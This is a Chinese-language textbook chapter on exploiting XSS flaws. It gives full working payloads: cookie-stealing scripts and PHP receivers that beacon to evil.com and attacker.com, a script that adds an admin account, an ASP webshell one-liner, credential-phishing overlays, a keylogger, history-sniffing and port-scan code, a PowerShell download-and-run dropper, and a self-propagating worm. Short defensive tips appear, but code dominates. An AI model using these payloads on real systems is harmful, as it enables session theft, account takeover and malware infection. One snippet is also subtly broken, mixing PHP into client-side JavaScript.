XSS 跨站脚本攻击与防御 - 第二章:XSS 利用方式剖析
概述
本章聚焦 XSS 跨站脚本攻击的核心利用场景,从 “Cookie 窃取”“会话劫持”“网络钓鱼”“历史记录窃取”“客户端信息刺探” 到 “其他恶意攻击” 六大维度,系统拆解每种利用方式的技术原理、实现流程与典型案例。通过结合通俗易懂的代码示例和场景模拟,帮助理解攻击者如何借助 XSS 漏洞突破 Web 安全边界,窃取敏感信息、劫持用户权限或发起进一步攻击,为后续学习防御策略奠定实践认知基础。
2.1 Cookie 窃取攻击剖析
Cookie 作为 Web 会话的核心身份标识,是 XSS 攻击的高频目标。本节从 Cookie 基础概念切入,逐步拆解 “窃取原理” 与 “实战案例”,清晰呈现攻击链路。
2.1.1 Cookie 基础介绍
Cookie 是网站存储在用户浏览器中的小型文本文件,核心作用是 “记录用户状态”,让 Web 应用实现 “身份识别” 和 “会话跟踪”。
核心作用(结合场景理解)
- 身份记忆:如百度登录时勾选 “记住我”,Cookie 会存储用户登录凭证,下次访问无需重复输入账号密码。
- 个性化配置:电商网站通过 Cookie 记录用户的收货地址、浏览偏好,加载页面时自动填充或推荐相关商品。
类型划分(按存储时效)
类型 | 存储位置 | 生命周期 | 典型场景 |
---|---|---|---|
持久型 Cookie | 浏览器本地文件(如 Chrome 的用户数据目录) | 由Expires 属性指定,可存活几天 / 几月 | 记住登录状态、保存购物车 |
临时型 Cookie(会话 Cookie) | 浏览器内存 | 关闭浏览器后立即消失 | 临时会话标识(如未登录时的浏览记录) |
关键操作(代码示例)
Cookie 可通过前端 JavaScript 或后端语言(如 PHP、Python)操作,以下为常用操作示例:
-
**创建 Cookie(JavaScript)**格式:
document.cookie = "键=值;属性1=值1;属性2=值2"
示例:创建一个 7 天后过期的用户 ID Cookie// 设置过期时间(当前时间+7天) const expireDate = new Date(); expireDate.setDate(expireDate.getDate() + 7); // 创建Cookie,指定域名、路径和过期时间 document.cookie = "user_id=12345;expires=" + expireDate.toUTCString() + ";domain=.example.com;path=/";
-
**读取 Cookie(JavaScript)**直接打印
document.cookie
即可获取当前域名下的所有 Cookie(不含HttpOnly
属性的 Cookie):console.log(document.cookie); // 输出:user_id=12345;username=test
-
**删除 Cookie(PHP)**通过设置
Expires
为 “过去的时间”,让浏览器自动删除 Cookie:// 将user_id Cookie的过期时间设为1小时前,实现删除 setcookie("user_id", "", time() - 3600, "/", ".example.com");
安全属性(防御窃取的关键)
- HttpOnly:开启后,前端 JavaScript 无法读取该 Cookie(如
document.cookie
看不到),可防止 XSS 直接窃取。示例(PHP 设置):setcookie("session_id", "abc123", time() + 3600, "/", "", true, true);
(最后一个true
即开启 HttpOnly)。 - Secure:仅允许 Cookie 通过 HTTPS 协议传输,避免在 HTTP 明文传输中被拦截。
- SameSite:限制 Cookie 仅在 “同站点请求” 中携带,防止跨站请求伪造(CSRF),可选值为
Strict
(完全禁止跨站)、Lax
(部分允许)。
2.1.2 Cookie 会话攻击原理剖析
Cookie 攻击的核心逻辑是 “无需破解,直接冒用”—— 即使 Cookie 内容加密,攻击者只需将窃取的 Cookie 提交给服务器,就能冒充受害者身份登录。
攻击前提
目标网站存在 XSS 漏洞(存储型或反射型),攻击者可向页面注入 “窃取 Cookie 的恶意代码”。
核心代码(窃取 Cookie 的 3 种常见方式)
恶意代码的本质是 “将document.cookie
的值发送到攻击者的服务器”,以下为典型实现:
-
**通过图片标签(隐蔽性高)**利用
<img>
标签加载远程地址时,将 Cookie 作为参数拼接:<!-- 攻击者的服务器地址为http://evil.com,cookie参数携带受害者Cookie --> <img src="http://evil.com/steal.php?cookie=<?php echo urlencode(document.cookie);?>" width="0" height="0" style="display:none;">
-
通过 JavaScript 跳转直接将页面重定向到攻击者服务器,并携带 Cookie:
window.location.href = "http://evil.com/steal.php?cookie=" + encodeURIComponent(document.cookie);
-
**通过 XMLHttpRequest(异步发送,无感知)**用 Ajax 异步发送 Cookie,用户无任何页面跳转感知:
const xhr = new XMLHttpRequest(); xhr.open("GET", "http://evil.com/steal.php?cookie=" + encodeURIComponent(document.cookie), true); xhr.send();
服务器接收代码(PHP 示例)
攻击者需在自己的服务器(如evil.com
)部署接收脚本,将窃取的 Cookie 存入日志文件:
**<?php**// 接收前端传来的Cookie参数
$stolenCookie = $_GET['cookie'];
// 记录到日志文件(log.txt)
$logFile = fopen("log.txt", "a");
fwrite($logFile, "[" . date("Y-m-d H:i:s") . "] " . $stolenCookie . "\n");
fclose($logFile);
?>
攻击流程总结
- 攻击者向存在 XSS 漏洞的页面(如留言板、搜索框)注入上述恶意代码。
- 受害者访问该页面,恶意代码在受害者浏览器中执行,将其 Cookie 发送到攻击者服务器。
- 攻击者从日志文件中提取 Cookie,使用 “Cookie 欺骗工具”(如浏览器插件 EditThisCookie)将 Cookie 导入自己的浏览器。
- 攻击者访问目标网站,服务器识别 Cookie 后,判定为 “受害者本人”,攻击者成功登录。
2.1.3 Cookie 欺骗实例剖析
以 “本地搭建的测试网站(127.0.0.1)” 为例,完整模拟 Cookie 窃取与欺骗流程:
步骤 1:验证 XSS 漏洞
目标网站的搜索页面(Search.asp
)存在反射型 XSS 漏洞,在搜索框输入:
"><script>alert("XSS漏洞存在")</script>
点击 “搜索” 后弹出alert
,确认漏洞可用。
步骤 2:构造窃取 Cookie 的恶意链接
将窃取代码拼接成搜索参数,生成恶意链接:
http://127.0.0.1/Search.asp?Keyword=<script>var img=new Image();img.src="http://127.0.0.1/steal.asp?cookie="+document.cookie;</script>
steal.asp
是攻击者在本地部署的接收脚本(功能同 2.1.2 中的steal.php
),用于记录 Cookie。
步骤 3:诱导受害者访问恶意链接
受害者(如网站管理员)点击该链接后,其浏览器会执行脚本,将 Cookie 发送到steal.asp
,并记录到cookie.txt
中。假设窃取到的管理员 Cookie 为:
admin_id=888;admin_session=abcdef123456;
步骤 4:Cookie 欺骗登录后台
使用 “桂林老兵 Cookie 欺骗工具” 或浏览器插件,将窃取的 Cookie 导入自己的浏览器:
- 打开工具,输入目标后台地址:
http://127.0.0.1/Admin_Index.asp
。 - 在 Cookie 栏粘贴窃取到的 Cookie:
admin_id=888;admin_session=abcdef123456;
。 - 点击 “刷新”,工具会携带该 Cookie 向服务器发送请求,服务器识别为管理员身份,直接进入后台。
2.1.4 小结
Cookie 窃取是 XSS 攻击中最基础且高发的场景,核心依赖 “XSS 漏洞注入恶意代码” 和 “Cookie 作为身份标识的特性”。攻击流程可简化为:注入代码→窃取 Cookie→冒用 Cookie 登录。
2.1.5 注意事项
- 若目标 Cookie 开启
HttpOnly
属性,前端 JavaScript 无法读取,可直接阻断此类攻击,建议所有身份相关 Cookie(如会话 ID、管理员标识)都开启该属性。 - 临时型 Cookie(会话 Cookie)虽关闭浏览器后消失,但只要受害者未关闭页面,攻击者仍可窃取并利用,需注意 “及时关闭敏感页面”。
- 攻击者可能通过 “缩短 Cookie 有效期” 降低风险,但无法完全避免,需结合 XSS 漏洞修复(如输入过滤)从根源防御。
2.2 会话劫持剖析
会话劫持是在 Cookie 窃取基础上的 “进阶攻击”,核心目标是 “劫持用户当前活跃会话”,执行更复杂的恶意操作(如添加管理员、篡改数据),而非仅登录账号。
2.2.1 了解 Session 机制
Session(会话)是服务器端存储用户状态的机制,与 Cookie 的核心区别在于 “存储位置”:
- Cookie:存储在客户端(浏览器),易被窃取。
- Session:存储在服务器端(如内存、数据库),客户端仅通过 “SessionID”(通常存在 Cookie 中)关联会话。
会话工作流程
- 用户首次访问网站,服务器生成唯一的
SessionID
(如abc123
),并创建对应的 Session(存储用户登录状态、权限等)。 - 服务器将
SessionID
通过 Cookie 发送给客户端,客户端后续请求会携带该 Cookie。 - 服务器接收请求后,通过
SessionID
找到对应的 Session,确认用户身份和权限。
会话劫持的本质
攻击者通过 XSS 窃取客户端的SessionID
(通常在 Cookie 中),然后用该SessionID
向服务器发送请求,服务器会误认为是 “原用户的请求”,从而让攻击者劫持整个会话。
2.2.2 XSS 实现权限提升(实战案例)
以 “某 ASP 留言系统的存储型 XSS 漏洞” 为例,攻击者通过注入代码劫持管理员会话,添加新的管理员账号。
场景背景
- 留言系统后台(
/admin/
)仅允许管理员访问,管理员查看留言时会加载所有用户留言。 - 留言提交功能存在存储型 XSS 漏洞,攻击者提交的留言内容(含恶意代码)会被存储到数据库,管理员查看时触发代码执行。
步骤 1:分析 “添加管理员” 的 HTTP 请求
首先,攻击者需要知道 “添加管理员” 的接口和参数。通过 Firebug(浏览器调试工具)抓包,记录正常添加管理员时的请求:
- 请求 URL:
/admin/AdminUser/adminUser_Add.asp
- 请求方法:POST
- POST 参数:
UserName=xss123&password=123456&password2=123456&purview=189%DC01E0%D4%B1&Submit=%CC%E1%BB%E1%B0%BB
UserName
:新管理员账号password
/password2
:密码(两次输入一致)purview
:权限标识(189 代表最高权限)Submit
:提交按钮标识
步骤 2:构造 “添加管理员” 的恶意代码
利用 JavaScript 的XMLHttpRequest
(Ajax)发送 POST 请求,模拟 “管理员添加账号” 的操作。代码会在管理员查看留言时执行:
// 创建XMLHttpRequest对象(兼容不同浏览器)
var request = false;
if (window.XMLHttpRequest) {request = new XMLHttpRequest();request.overrideMimeType('text/xml'); // 兼容旧版浏览器
} else if (window.ActiveXObject) {// 兼容IE浏览器var versions = ['Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0'];for (var i = 0; i < versions.length; i++) {try {request = new ActiveXObject(versions[i]);break;} catch (e) {}}
}// 定义“添加管理员”的函数
function addAdmin() {var url = "/admin/AdminUser/adminUser_Add.asp"; // 目标接口// POST参数(与抓包结果一致)var params = "UserName=xss123&password=123456&password2=123456&purview=%89%DC01E0%D4%B1&Submit=%CC%E1%BB%E1%B0%BB";// 发送POST请求request.open("POST", url, true);// 设置请求头(模拟表单提交)request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");request.setRequestHeader("Content-length", params.length);request.setRequestHeader("Connection", "close");// 发送参数request.send(params);
}// 执行函数,添加管理员
addAdmin();
步骤 3:注入恶意代码并触发
- 攻击者在留言系统提交留言,内容为上述恶意代码(用
<script>
标签包裹)。 - 管理员登录后台,查看留言列表,页面加载攻击者的留言,恶意代码执行。
- 代码向
adminUser_Add.asp
发送 POST 请求,由于请求携带管理员的SessionID
(在 Cookie 中),服务器判定为 “管理员操作”,成功添加账号xss123
(密码 123456)。
攻击效果
攻击者使用新添加的账号xss123
登录后台,获得与原管理员相同的权限,实现 “权限提升”。
2.2.3 获取网站 Webshell
Webshell 是 “服务器端的后门脚本”(如 ASP、PHP 文件),攻击者通过 Webshell 可执行命令(如上传文件、修改代码、查看数据库),控制整个网站。XSS 可结合 “后台功能” 间接获取 Webshell。
场景背景
某 Web 系统(Access+ASP 架构)的后台有 “数据库备份” 功能:管理员可将数据库备份为.asp
格式的文件(原数据库为.mdb
,改后缀为.asp
防止下载)。
攻击流程
- 注入后门代码到数据库:攻击者通过 XSS 劫持管理员会话,向数据库中插入一句 ASP 后门代码:
<%execute(request("xss"))%>
(execute
函数可执行传入的命令,xss
为参数名)。 - 触发数据库备份:利用 XSS 代码调用 “数据库备份” 接口,将含后门的数据库备份为
backup.asp
,存储路径为/admin/backup/backup.asp
。 - 访问 Webshell:攻击者直接访问
http://目标网站/admin/backup/backup.asp?xss=whoami
(whoami
为查看当前用户的命令),即可执行命令,控制服务器。
关键原理
- 数据库备份功能将 “含后门代码的数据库” 保存为
.asp
文件,服务器会将其当作 ASP 脚本解析。 - 攻击者通过参数
xss
传入命令,后门代码<%execute(request("xss"))%>
会执行该命令,实现 “远程控制”。
2.2.4 小结
会话劫持的核心是 “冒用用户的活跃会话”,通过 XSS 可实现 “权限提升”“获取 Webshell” 等高级攻击,危害远大于单纯的 Cookie 窃取。攻击成功依赖 “目标网站有高权限操作接口” 和 “XSS 漏洞可触发高权限用户执行代码”。
2.2.5 注意事项
- 会话劫持通常针对 “已登录的高权限用户”(如管理员),普通用户会话价值较低,需重点保护管理员账号的会话安全。
- 服务器可通过 “定期刷新 SessionID”(如用户操作时更新 SessionID)降低劫持风险,即使攻击者窃取旧 SessionID,也会失效。
- 后台功能(如数据库备份、文件上传)需严格校验 “操作来源”,避免被 XSS 注入的代码调用。
2.3 网络钓鱼
1. 嵌入钓鱼表单(直接覆盖页面)
攻击者通过 XSS 在目标页面中插入登录表单,表单提交地址指向攻击者服务器,欺骗用户输入账号密码。
恶意代码示例:
<script>
// 构造钓鱼表单,覆盖整个页面(模拟某银行登录页)
document.body.innerHTML = `
<div style="position:absolute; top:0; left:0; width:100%; height:100%; background:#fff; padding-top:100px; text-align:center;"><img src="https://bank-example.com/logo.png" alt="某银行logo" style="width:200px;"><h2>账号安全验证</h2><form method="post" action="http://attacker.com/steal-login.php" style="width:300px; margin:0 auto; text-align:left;"><label>用户名:</label><input type="text" name="bank-username" required style="width:100%; padding:8px; margin:5px 0;"><br><label>密码:</label><input type="password" name="bank-password" required style="width:100%; padding:8px; margin:5px 0;"><br><button type="submit" style="width:100%; padding:10px; background:#0066cc; color:#fff; border:none; cursor:pointer;">验证并继续</button></form><p style="color:#999; margin-top:20px;">系统检测到您的账号存在异常,需验证后恢复使用</p>
</div>
`;
</script>
攻击者接收脚本(steal-login.php)
:将用户输入的账号密码写入日志,再跳转到真实银行页面,避免用户怀疑:
**<?php**// 记录账号密码
$username = $_POST['bank-username'];
$password = $_POST['bank-password'];
$log = fopen("bank-log.txt", "a");
fwrite($log, date("Y-m-d H:i:s") . " | 用户名:" . $username . " | 密码:" . $password . "\n");
fclose($log);
// 跳转到真实银行页面
header("Location: https://bank-example.com/login");
exit;
?>
2. XSS 重定向钓鱼
通过 XSS 脚本将当前页面直接重定向到攻击者搭建的仿冒网站,利用 “真实域名跳转” 降低用户警惕。
恶意代码示例:
<!-- 当用户访问含漏洞的页面时,自动跳转到仿冒购物网站 -->
<script>
// 延迟1秒跳转,避免过于突兀
setTimeout(function() {document.location.href = "http://attacker.com/fake-taobao";
}, 1000);
</script>
仿冒网站特点:
- 页面样式、图片完全模仿真实网站(如淘宝、京东);
- 域名可能相似(如
www.ta0bao.com
、www.taobao-login.com
); - 登录后提示 “系统维护”,让用户以为登录失败,实际账号已被记录。
3. Iframe 跨框架钓鱼
通过<iframe>
标签在真实页面中嵌入仿冒表单,主页面域名是真实的,仅表单区域是攻击者控制的内容,欺骗性极强。
恶意代码示例(以某社交网站为例):
<!-- 在社交网站的个人主页中插入隐藏的iframe,加载钓鱼表单 -->
<iframe src="http://attacker.com/fake-login" style="position:absolute; top:200px; left:50%; transform:translateX(-50%); width:400px; height:300px; border:1px solid #ddd; padding:20px; background:#fff; z-index:9999;"></iframe>
仿冒表单页面(fake-login)
:模拟社交网站的 “安全验证” 表单,用户输入时误以为是网站官方弹窗:
<h3>账号安全验证</h3><form method="post" action="http://attacker.com/steal-social.php"><input type="text" name="social-username" placeholder="请输入账号" required><br><input type="password" name="social-password" placeholder="请输入密码" required><br><input type="submit" value="验证通过"></form><p style="font-size:12px; color:#666;">为保护账号安全,本次操作需验证身份</p>
4. 键盘记录钓鱼(高级)
通过 XSS 注入键盘监听脚本,记录用户在当前页面输入的所有内容(包括账号、密码、聊天信息),无需依赖表单提交。
恶意代码示例:
<script>
// 存储键盘输入的内容
let inputLog = "";
// 监听键盘按下事件
document.addEventListener("keydown", function(e) {// 记录按键内容(处理特殊键,如回车、空格)if (e.key === "Enter") {inputLog += "[回车]";} else if (e.key === "Space") {inputLog += " ";} else {inputLog += e.key;}// 每输入10个字符,发送到攻击者服务器if (inputLog.length % 10 === 0) {new Image().src = "http://attacker.com/log-key.php?log=" + encodeURIComponent(inputLog);}
});
</script>
攻击者接收脚本(log-key.php):
**<?php**$keyLog = $_GET['log'];
$logFile = fopen("key-log.txt", "a");
fwrite($logFile, date("Y-m-d H:i:s") . " | " . $keyLog . "\n");
fclose($logFile);
// 返回空图片,避免浏览器报错
header("Content-Type: image/gif");
echo base64_decode("R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==");
?>
2.3.3 小结
XSS 钓鱼的核心是 “利用真实网站的信任度”,通过嵌入表单、重定向、键盘记录等方式,欺骗用户主动泄露敏感信息。相比传统钓鱼,其隐蔽性更强,用户难以通过域名或页面外观识别风险。
2.3.4 注意事项
- 普通用户需警惕 “异常弹窗”“强制验证” 等场景,尤其涉及账号密码输入时,可通过 “刷新页面” 或 “手动输入官网域名” 确认真实性;
- 网站开发者需限制
<iframe>
的使用(如通过X-Frame-Options
禁止跨域嵌入),并对用户输入的 HTML 标签进行严格过滤(如禁止<script>
<iframe>
等标签); - 开启浏览器的 “钓鱼网站拦截” 功能(如 Chrome 的安全浏览),可拦截部分已知的仿冒网站。
2.4 XSS History Hack(历史记录窃取)
利用 CSS 链接伪类和 JavaScript,攻击者可通过 XSS 获取用户的浏览器历史记录,分析用户的访问习惯、兴趣甚至敏感行为(如是否访问过网银、社交账号)。
2.4.1 核心原理:链接样式与getComputedStyle()
浏览器对 “已访问链接” 和 “未访问链接” 的样式有默认区分(如 Chrome 中,未访问链接为蓝色,已访问链接为紫色),且可通过 CSS 伪类自定义:
a:link
:未访问的链接样式;a:visited
:已访问的链接样式。
getComputedStyle()
是 JavaScript 的内置方法,可读取元素最终应用的 CSS 样式(包括伪类样式)。攻击者通过以下逻辑窃取历史记录:
- 动态创建一批目标链接(如
http://www.baidu.com
、http://www.bank-example.com
); - 用 CSS 定义 “已访问链接” 的特殊样式(如红色);
- 通过
getComputedStyle()
读取每个链接的颜色,若为红色则说明用户访问过该网站; - 将结果发送到攻击者服务器。
2.4.2 实现代码示例(POC)
<!-- 历史记录窃取脚本 -->
<div id="link-container" style="display:none;"></div><ul id="visited-list" style="position:absolute; top:20px; left:20px; background:#fff; padding:10px; border:1px solid #ddd;"><li><strong>已访问的网站:</strong></li></ul><ul id="unvisited-list" style="position:absolute; top:20px; left:300px; background:#fff; padding:10px; border:1px solid #ddd;"><li><strong>未访问的网站:</strong></li></ul><script>
// 目标网站列表(可包含网银、社交、购物网站等)
const targetSites = ["http://www.baidu.com","http://www.taobao.com","http://www.bank-example.com","http://www.weibo.com","http://www.qq.com","http://www.jd.com","http://www.163.com","http://www.google.com"
];// 定义CSS样式:已访问链接为红色,未访问为蓝色
const style = document.createElement("style");
style.textContent = `a:link { color: blue; }a:visited { color: red; }
`;
document.head.appendChild(style);// 遍历目标网站,检测访问状态
targetSites.forEach(site => {// 创建链接元素(隐藏在页面中)const link = document.createElement("a");link.href = site;link.textContent = site;document.getElementById("link-container").appendChild(link);// 读取链接的颜色样式const computedStyle = window.getComputedStyle(link, null);const linkColor = computedStyle.getPropertyValue("color");// 区分已访问和未访问(红色:rgb(255, 0, 0);蓝色:rgb(0, 0, 255))const visitedItem = document.createElement("li");const unvisitedItem = document.createElement("li");visitedItem.textContent = site;unvisitedItem.textContent = site;if (linkColor === "rgb(255, 0, 0)") {// 已访问:添加到已访问列表,并发送到攻击者服务器document.getElementById("visited-list").appendChild(visitedItem);new Image().src = "http://attacker.com/log-history.php?visited=" + encodeURIComponent(site);} else {// 未访问:添加到未访问列表document.getElementById("unvisited-list").appendChild(unvisitedItem);}// 删除临时创建的链接document.getElementById("link-container").removeChild(link);
});
</script>
2.4.3 窃取搜索查询(进阶)
结合搜索引擎的 URL 规律(如百度搜索 “XSS” 的 URL 为https://www.baidu.com/s?wd=XSS
),攻击者可构造 “可能的搜索关键词链接”,检测用户是否搜索过敏感内容(如 “银行卡密码找回”“如何贷款”)。
示例:
// 目标搜索关键词列表
const searchQueries = ["https://www.baidu.com/s?wd=银行卡密码找回","https://www.baidu.com/s?wd=身份证号查询","https://www.baidu.com/s?wd=如何贷款","https://www.baidu.com/s?wd=XSS攻击教程"
];// 后续检测逻辑与2.4.2一致,若链接颜色为红色,说明用户搜索过该关键词
2.4.4 小结
XSS History Hack 利用浏览器对链接样式的区分机制,通过getComputedStyle()
读取样式实现历史记录窃取。虽然无法获取完整的历史记录,但可针对性检测 “敏感网站 / 搜索关键词”,泄露用户的行为偏好和隐私。
2.4.5 注意事项
- 现代浏览器(如 Chrome 83+、Firefox 79+)已限制
getComputedStyle()
对a:visited
伪类的读取(仅允许获取颜色、背景色等有限样式,且返回值可能被模糊处理),降低了该攻击的有效性; - 用户可通过 “清除浏览器历史记录” 或 “使用隐私模式浏览” 避免被窃取历史记录;
- 网站开发者需禁止未经授权的
getComputedStyle()
调用,或通过 CSP(内容安全策略)限制脚本执行。
2.5 客户端信息刺探
通过 XSS 注入 JavaScript 脚本,攻击者可获取用户客户端的详细信息(如 IP 地址、开放端口、浏览器版本),为后续攻击(如内网渗透)做准备。
2.5.1 JavaScript 实现端口扫描
不同端口对应不同的网络服务(如 21 端口为 FTP、80 端口为 HTTP、3306 端口为 MySQL),攻击者可通过 XSS 脚本扫描用户主机的开放端口,寻找可利用的服务。
实现原理
:通过创建
<img>
标签或
XMLHttpRequest
,尝试连接用户主机的目标端口:
- 若端口开放,请求会成功(如
<img>
加载成功); - 若端口关闭,请求会超时或报错(如
<img>
触发onerror
事件)。
代码示例:
<!-- 客户端端口扫描脚本 -->
<form style="position:absolute; top:20px; left:20px; background:#fff; padding:10px; border:1px solid #ddd;"><label>目标IP(默认本机):</label><input type="text" id="target-ip" value="127.0.0.1" style="margin:5px 0;"><br><label>端口范围(如80-100):</label><input type="text" id="port-range" value="80-100" style="margin:5px 0;"><br><button type="button" onclick="startScan()" style="padding:8px 16px; background:#0066cc; color:#fff; border:none; cursor:pointer;">开始扫描</button><div id="scan-result" style="margin-top:10px; max-height:300px; overflow-y:auto;"></div></form><script>
function startScan() {const targetIp = document.getElementById("target-ip").value;const portRange = document.getElementById("port-range").value.split("-");const startPort = parseInt(portRange[0]);const endPort = parseInt(portRange[1]);const resultDiv = document.getElementById("scan-result");resultDiv.innerHTML = "扫描中...<br>";// 遍历端口范围for (let port = startPort; port <= endPort; port++) {scanPort(targetIp, port, resultDiv);}
}function scanPort(ip, port, resultDiv) {const img = new Image();const timeout = 1000; // 超时时间(1秒)let timer;// 端口开放:图片加载成功img.onload = function() {clearTimeout(timer);const result = `端口 ${port} 开放(可能为HTTP服务)<br>`;resultDiv.innerHTML += result;// 发送开放端口信息到攻击者服务器new Image().src = `http://attacker.com/log-port.php?ip=${ip}&port=${port}`;};// 端口关闭/超时:图片加载失败img.onerror = function() {clearTimeout(timer);resultDiv.innerHTML += `端口 ${port} 关闭<br>`;};// 超时处理timer = setTimeout(function() {img.src = "about:blank"; // 取消请求resultDiv.innerHTML += `端口 ${port} 超时<br>`;}, timeout);// 尝试连接目标端口(通过HTTP协议)img.src = `http://${ip}:${port}/test.jpg?${new Date().getTime()}`;
}
</script>
2.5.2 获取客户端 IP 地址
攻击者通过 XSS 可获取用户的内网 IP 和外网 IP,前者用于内网渗透,后者用于定位用户地理位置。
1. 获取内网 IP(IE 浏览器兼容)
利用 ActiveX 控件(仅 IE 浏览器支持)读取本地 IP:
<script>
function getLocalIp() {try {// 创建ActiveX控件(需用户允许运行)const obj = new ActiveXObject("rcbdyctl.Setting");const localIp = obj.GetIPAddress;document.write(`内网IP:${localIp}<br>`);// 发送到攻击者服务器new Image().src = `http://attacker.com/log-ip.php?local_ip=${localIp}`;} catch (e) {document.write("无法获取内网IP(可能非IE浏览器或未允许ActiveX)<br>");}
}
getLocalIp();
</script>
2. 获取外网 IP(通用方法)
借助第三方 IP 查询网站(如ip138.com
、icanhazip.com
),通过 JavaScript 发送请求获取外网 IP,适用于所有现代浏览器:
<script>
// 方法1:借助ip138.com的接口(返回HTML格式,需解析)
function getExternalIpByIp138() {const xhr = new XMLHttpRequest();xhr.open("GET", "http://www.ip138.com/ip2city.asp", true);xhr.onload = function() {if (xhr.status === 200) {// 解析返回结果(格式类似:您的IP地址是:[123.45.67.89] 来自:XX省XX市)const response = xhr.responseText;const ipStart = response.indexOf("[");const ipEnd = response.indexOf("]");const externalIp = response.substring(ipStart + 1, ipEnd);document.write(`外网IP(来自ip138):${externalIp}<br>`);// 发送到攻击者服务器new Image().src = `http://attacker.com/log-ip.php?external_ip=${externalIp}`;}};xhr.send();
}// 方法2:借助icanhazip.com的接口(直接返回IP,无需解析)
function getExternalIpByIcanhazip() {const xhr = new XMLHttpRequest();xhr.open("GET", "https://icanhazip.com", true);xhr.onload = function() {if (xhr.status === 200) {const externalIp = xhr.responseText.trim(); // 去除换行符document.write(`外网IP(来自icanhazip):${externalIp}<br>`);}};xhr.send();
}// 执行查询
getExternalIpByIp138();
getExternalIpByIcanhazip();
</script>
2.5.3 小结
客户端信息刺探是 XSS 攻击的 “情报收集” 环节,通过端口扫描、IP 获取等手段,攻击者可掌握用户的网络环境细节,为后续的内网渗透(如攻击内网服务器)、精准诈骗(如结合地理位置伪造本地服务)提供支持。
2.5.4 注意事项
- 现代浏览器的 “跨域资源共享(CORS)” 策略会限制部分第三方 IP 接口的访问(如
icanhazip.com
需支持 CORS),攻击者可能通过 “搭建代理服务器” 绕过该限制; - 用户可通过禁用 JavaScript、使用浏览器安全插件(如 NoScript)阻止恶意脚本执行,避免信息被刺探;
- 企业内网应限制 “内网 IP 暴露到公网”,并通过防火墙拦截异常的端口扫描请求。
2.6 其他恶意攻击剖析
除上述场景外,XSS 还可用于 “网页挂马”“传播 XSS 蠕虫” 等恶性攻击,造成大规模危害。
2.6.1 网页挂马
“网页挂马” 指通过 XSS 在正常网页中嵌入木马程序(如病毒、勒索软件),用户浏览页面时会自动下载并执行木马,且全程无感知。
核心原理
利用<iframe>
、<script>
等标签加载远程恶意页面,或通过 “浏览器漏洞”(如旧版 IE 的 ActiveX 漏洞)执行木马代码,常见实现方式有两种:
1. 隐藏 iframe 加载木马页面
攻击者将木马页面(如trojan.html
)部署在自己的服务器,通过 XSS 在目标页面中插入隐藏的<iframe>
,加载该木马页面:
恶意代码示例:
<!-- 隐藏iframe,宽度和高度设为0,用户无法察觉 -->
<iframe src="http://attacker.com/trojan.html" width="0" height="0" style="display:none; visibility:hidden;"></iframe>
木马页面(trojan.html)核心逻辑
:通过 JavaScript 检测用户浏览器版本,若为存在漏洞的旧版本(如 IE 8 及以下),则利用漏洞下载并执行木马:
<script>
// 检测浏览器版本(示例:针对IE 8漏洞)
function checkBrowser() {const userAgent = navigator.userAgent;if (userAgent.indexOf("MSIE 8.0") > -1) {// 利用IE 8的ActiveX漏洞下载木马const activeX = new ActiveXObject("WScript.Shell");// 下载木马到用户本地并执行(示例路径,实际会伪装成系统文件)activeX.Run("cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://attacker.com/virus.exe','C:\\Windows\\Temp\\update.exe'); start C:\\Windows\\Temp\\update.exe");}
}
checkBrowser();
</script>
2. 直接加载恶意脚本
通过<script>
标签加载远程木马脚本,利用浏览器漏洞执行恶意代码:
<script src="http://attacker.com/malicious.js" type="text/javascript"></script>
恶意脚本(malicious.js)功能:
- 窃取用户文件(如文档、图片);
- 开启远程控制(让攻击者操控用户电脑);
- 加密用户数据(勒索软件,要求支付赎金解密)。
2.6.2 XSS Worm(XSS 蠕虫)
XSS 蠕虫是利用 XSS 漏洞自动传播的恶意代码,可在短时间内感染大量用户,典型案例为 2005 年的 “Samy 蠕虫”(24 小时内感染 MySpace 平台 100 万用户)。
核心特点
- 自动传播:无需攻击者手动操作,感染用户的浏览器会自动将蠕虫代码注入其他页面(如留言板、个人主页);
- 链式感染:用户 A 访问含蠕虫的页面后,其操作(如发布留言)会携带蠕虫代码,用户 B 访问用户 A 的留言后被感染,以此类推;
- 破坏性强:可批量篡改页面内容、窃取大量用户数据,甚至导致网站服务瘫痪。
传播原理(以社交平台为例)
- 注入蠕虫代码:攻击者在社交平台的留言区(存在存储型 XSS 漏洞)注入蠕虫代码,代码包含 “复制自身” 和 “自动发布” 的逻辑;
- 用户 A 感染:用户 A 访问该留言,蠕虫代码在其浏览器中执行,读取用户 A 的身份凭证(如 Cookie、Token);
- 自动传播:蠕虫利用用户 A 的凭证,自动在用户 A 的个人主页、好友留言区发布含蠕虫代码的内容;
- 批量感染:用户 A 的好友(用户 B、C、D)访问这些内容后被感染,重复步骤 2-3,实现链式传播。
代码示例(简化版 XSS 蠕虫)
<script>
// 蠕虫核心代码:复制自身并发布到用户的个人主页
function samyWorm() {// 1. 读取当前页面的蠕虫代码(即自身)const wormCode = '<script>samyWorm();</script>'; // 简化版,实际会包含完整逻辑// 2. 利用社交平台的API(或表单提交)发布内容const xhr = new XMLHttpRequest();xhr.open("POST", "https://social-platform.com/api/post", true);xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");// 携带用户的身份凭证(从Cookie中获取)xhr.setRequestHeader("Cookie", document.cookie);// 发布含蠕虫代码的内容(伪装成正常留言)const postData = "content=大家好!这是一个有趣的分享:" + encodeURIComponent(wormCode) + "&visibility=public";xhr.send(postData);// 3. 篡改当前页面内容,标记已感染document.body.innerHTML += "<div style='color:red;'>已感染Samy蠕虫!</div>";
}// 执行蠕虫
samyWorm();
</script>
2.6.3 小结
网页挂马和 XSS 蠕虫是 XSS 攻击中破坏性最强的场景:前者针对单个用户的客户端安全,后者针对平台级的大规模传播。两者均依赖 XSS 漏洞的 “代码注入能力”,且防御难度较高(需同时修复漏洞和拦截恶意代码)。
2.6.4 注意事项
- 网站需优先修复存储型 XSS 漏洞(此类漏洞是蠕虫传播的主要载体),并对用户发布的内容进行严格过滤(如禁止
<script>
<iframe>
等标签); - 用户应及时更新浏览器(修复已知漏洞),避免访问来源不明的页面,降低网页挂马的风险;
- 平台级网站需建立 “实时监测系统”,一旦发现大量相似的恶意代码(如 XSS 蠕虫特征),立即拦截并清理。
第二章 整体小结
本章系统拆解了 XSS 的六大核心利用场景,各场景的技术逻辑和危害可总结如下:
